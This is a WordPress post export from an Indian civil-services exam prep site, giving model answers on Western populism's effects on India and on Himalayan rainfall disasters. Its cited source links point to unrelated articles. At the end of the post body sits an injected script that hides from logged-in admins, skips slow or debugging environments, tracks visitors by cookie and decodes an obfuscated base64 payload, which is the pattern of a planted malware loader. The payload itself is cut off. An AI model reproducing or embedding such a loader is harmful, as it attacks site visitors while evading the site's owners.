{"id":2415,"date":"2025-09-17T11:32:16","date_gmt":"2025-09-17T11:32:16","guid":{"rendered":"https:\/\/iasquest.com\/?p=2415"},"modified":"2026-02-11T18:52:54","modified_gmt":"2026-02-11T18:52:54","slug":"effect-of-policies-in-developing-countries-disaster-management-and-geophysical-phenomena","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/effect-of-policies-in-developing-countries-disaster-management-and-geophysical-phenomena\/","title":{"rendered":"Effect of policies in developing countries &#038; Disaster management and Geophysical phenomena"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#fa0000\"><strong>1)\u201cThe rising polarisation and populist backlash in the West, often framed as its \u2018new civil wars\u2019, reflect a clash over values, immigration, and globalisation. Critically analyse how these internal cleavages in Western societies could impact India\u2019s strategic, economic, and diaspora interests.\u201d<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 II: Effect of Policies and Politics of Developed and Developing Countries on India\u2019s interests, Indian Diaspora<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">The West, long regarded as a bastion of liberal democracy and stability, is witnessing growing internal divisions over immigration, cultural identity, and globalisation. Commentators increasingly describe these tensions as the West\u2019s \u201cnew civil wars.\u201d For India, whose ties with the US, UK, and Europe are crucial in trade, security, and diaspora links, these shifts pose both challenges and opportunities.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>1. Nature of the Western Cleavages<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(a) Values clash: Liberal emphasis on multiculturalism, diversity, and global cooperation vs. populist insistence on nationalism and Judeo-Christian cultural dominance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(b) Immigration fault line: Liberals push for open borders; populists resist mass immigration, often invoking the \u201cGreat Replacement\u201d narrative.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(c) Globalisation vs protectionism: Liberals defend free trade and global institutions; populists demand reshoring of jobs and retreat from multilateralism.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>2. Implications for India<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>(a) Strategic Interests<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-9\">\n<li>Uncertainty in alliances: Populist hostility to NATO\/EU-like structures may weaken collective security frameworks where India partners with the West (e.g., Indo-Pacific strategy).<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li>Policy unpredictability: Populist leaders (e.g., Trump) can shift foreign policy based on domestic compulsions, complicating India\u2019s long-term strategic <strong>planning.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>(b) Economic Interests<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>Retreat from globalisation: Western protectionism may close export markets for Indian goods and services, curtailing India\u2019s late globalisation gains.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>Technology and supply chains: Reshoring policies could reduce India\u2019s role in IT and manufacturing supply chains.<br><\/li>\n\n\n\n<li>Investment flows: Political polarisation could deter stable FDI and capital flows from Western markets to India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>(c) Diaspora and People-to-People Ties<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>Immigration restrictions: Indian diaspora, particularly skilled workers in the US and UK, may face barriers due to populist anti-immigrant rhetoric.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>Backlash risks: Rising nationalism may fuel hostility towards Indian-origin communities, as seen in some anti-immigrant populist campaigns.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>Opportunity for soft power: A well-organised diaspora can also act as a bridge between India and Western societies, if engaged strategically.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>(d) Diplomacy and Global Governance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li>Fragmented West: India must navigate relations with both liberal and populist forces, avoiding over-reliance on a \u201cmonolithic West.\u201d<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>Human rights vs sovereignty: Liberals may criticise India\u2019s domestic politics on rights issues, but populists may adopt transactional, interest-based relations.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">The \u201ccivil wars\u201d within the West signal the decline of a stable liberal consensus that underpinned globalisation and multilateralism. For India, the challenge lies in balancing ties with both liberal and populist actors, safeguarding diaspora interests, and diversifying economic and strategic partnerships. A nuanced engagement that recognises the plural nature of the West will be critical for advancing India\u2019s long-term interests.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: [2020]<\/strong> <br><strong>Q. &#8216;The Indian diaspora has a decisive role to play in the politics and economy of America and European Countries\u2019. Comment with an example.\u00a0 [10 Marks]<\/strong> \u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/opinion\/editorials\/my-octopus-teacher-10254067\/?ref=infinite\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/opinion\/editorials\/my-octopus-teacher-10254067\/?ref=infinite<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-23 wp-block-paragraph\" style=\"color:#ff0000\"><strong>2) \u201cThe Himalayas are highly vulnerable to extreme rainfall events.\u201d Discuss the role of topography in this vulnerability and analyse how climate change is altering the frequency and intensity of such disasters.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">The Himalayas, geologically young and fragile, face recurring disasters such as landslides, flash floods, and cloudbursts. Extreme rainfall events, intensified by climate change, are exposing the vulnerability of this region, with Uttarakhand and Himachal Pradesh witnessing multiple tragedies in recent years.<\/p>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-25\"><a><\/a><strong>Role of Topography in Vulnerability<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-26\">\n<li>Steep Slopes &amp; Fragile Geology \u2013 The young fold mountains are tectonically active, making slopes unstable during intense rainfall e.g., Kedarnath floods 2013.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-27\">\n<li>Narrow Valleys &amp; River Systems \u2013 Rainwater descends rapidly, causing flash floods in Alaknanda, Beas, and Chenab basins.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-28\">\n<li>Soil Composition \u2013 Loose sediment and moraine in glacial valleys easily get dislodged during cloudbursts e.g., Leh floods 2010.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-29\">\n<li>Deforestation &amp; Slope Modification \u2013 Road cutting and hydropower tunnelling in Uttarakhand and Himachal Pradesh increase susceptibility<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-30\"><a><\/a><strong>Impact of Climate Change<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>Shift in Monsoon &amp; Western Disturbances \u2013 Interaction between monsoons and shifting western disturbances has triggered record rainfall events e.g., Leh 59 mm in 48 hrs in 2025.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-32\">\n<li>Increased Frequency of Cloudbursts \u2013 IMD data shows rise in extreme rainfall (&gt;100 mm\/hour) in Himalayan states over the last two decades.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>Glacial Retreat &amp; Permafrost Melting \u2013 Melting Himalayan glaciers destabilise slopes and release sudden floods Glacial Lake Outburst Flood in Chamoli, 2021.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-34\"><a><\/a><strong>Mitigation Measures<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-35\">\n<li>Structural: Hazard zonation mapping, slope stabilization, check dams.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-36\">\n<li>Non-structural: Early warning systems, IMD\u2013ISRO satellite integration.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-37\">\n<li>Ecological: Afforestation, banning construction in fragile zones.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-38\">\n<li>Community: Local disaster preparedness and relocation from high-risk valleys.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">The Himalayas\u2019 unique topography predisposes them to extreme rainfall disasters, but climate change is magnifying both frequency and intensity. A balanced approach combining ecological sensitivity, technology-driven monitoring, and sustainable development is essential to reduce disaster risk in the fragile Himalayan ecosystem.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: [2016]<\/strong> <br><strong>Q. \u201cThe Himalayas are highly prone to landslides.\u201d Discuss the causes and suggest suitable measures of mitigation.\u00a0 [10 Marks]<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-law\/reliance-vantara-allegations-animals-ambani-sc-10253730\/?ref=infinite\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-law\/reliance-vantara-allegations-animals-ambani-sc-10253730\/?ref=infinite<\/strong><\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 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